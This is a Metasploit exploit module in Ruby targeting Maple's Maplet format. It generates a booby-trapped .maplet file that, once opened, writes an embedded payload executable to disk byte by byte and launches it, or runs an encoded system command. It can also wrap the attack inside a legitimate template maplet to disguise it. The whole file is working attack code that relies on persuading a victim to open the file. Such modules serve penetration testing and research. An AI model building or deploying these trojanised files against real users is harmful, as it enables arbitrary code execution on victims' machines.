Maple Maplet File Creation and Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Maple Maplet File Creation and Command Execution',
        'Description' => %q{
          This module harnesses Maple's ability to create files and execute commands
          automatically when opening a Maplet. All versions up to 13 are suspected
          vulnerable. Testing was conducted with version 13 on Windows. Standard security
          settings prevent code from running in a normal maple worksheet without user
          interaction, but those setting do not prevent code in a Maplet from running.

          In order for the payload to be executed, an attacker must convince someone to
          open a specially modified .maplet file with Maple. By doing so, an attacker can
          execute arbitrary code as the victim user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'scriptjunkie'
        ],
        'References' => [
          [ 'CVE', '2010-20120' ],
          [ 'OSVDB', '64541'],
          [ 'URL', 'http://www.maplesoft.com/products/maple/' ]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => '',
          'DisableNops' => true
          #					'Compat'      =>
          #						{
          #							'PayloadType' => 'cmd',
          #							'RequiredCmd' => 'generic perl telnet',
          #						}
        },
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],

          [
            'Windows X64',
            {
              'Arch' => ARCH_X64,
              'Platform' => 'win'
            }
          ],

          [
            'Linux',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],

          [
            'Linux X64',
            {
              'Arch' => ARCH_X64,
              'Platform' => 'linux'
            }
          ],

          [
            'Universal CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix win]
            }
          ]

        ],
        'DisclosureDate' => '2010-04-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
        OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
      ]
    )
  end

  def exploit
    content = ''
    if target['Arch'] != ARCH_CMD
      # Get payload as executable on whatever platform
      binary = generate_payload_exe

      # Get filename and random variable name for file handle in script
      fname = rand_text_alpha(rand(3..17))
      if target['Platform'] == 'win'
        fname << '.exe'
      end
      fhandle = rand_text_alpha(rand(3..17))

      # Write maple commands to create executable
      content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
      exe = binary.unpack('C*')

      content << "writebytes(#{fhandle},[#{exe[0]}"
      lines = []
      1.upto(exe.length - 1) do |byte|
        if (byte % 100 == 0)
          lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
        else
          lines.push ",#{exe[byte]}"
        end
      end
      content << lines.join('') + "]);\r\n"

      content << 'fclose(' + fhandle + ");\n"
      # Write command to be executed
      if target['Platform'] != 'win'
        content << "system(\"chmod a+x #{fname}\");\n"
      end
      content << "system[launch](\"#{fname}\");\n"
    else
      content << "system(\"#{payload.encoded}\");\n"
    end

    # Then put the rest of the original maplet
    if datastore['TEMPLATE'] != ''
      File.open(datastore['TEMPLATE'], 'rb') do |fd|
        content << fd.read(File.size(datastore['TEMPLATE']))
      end
    end

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(content)
  end
end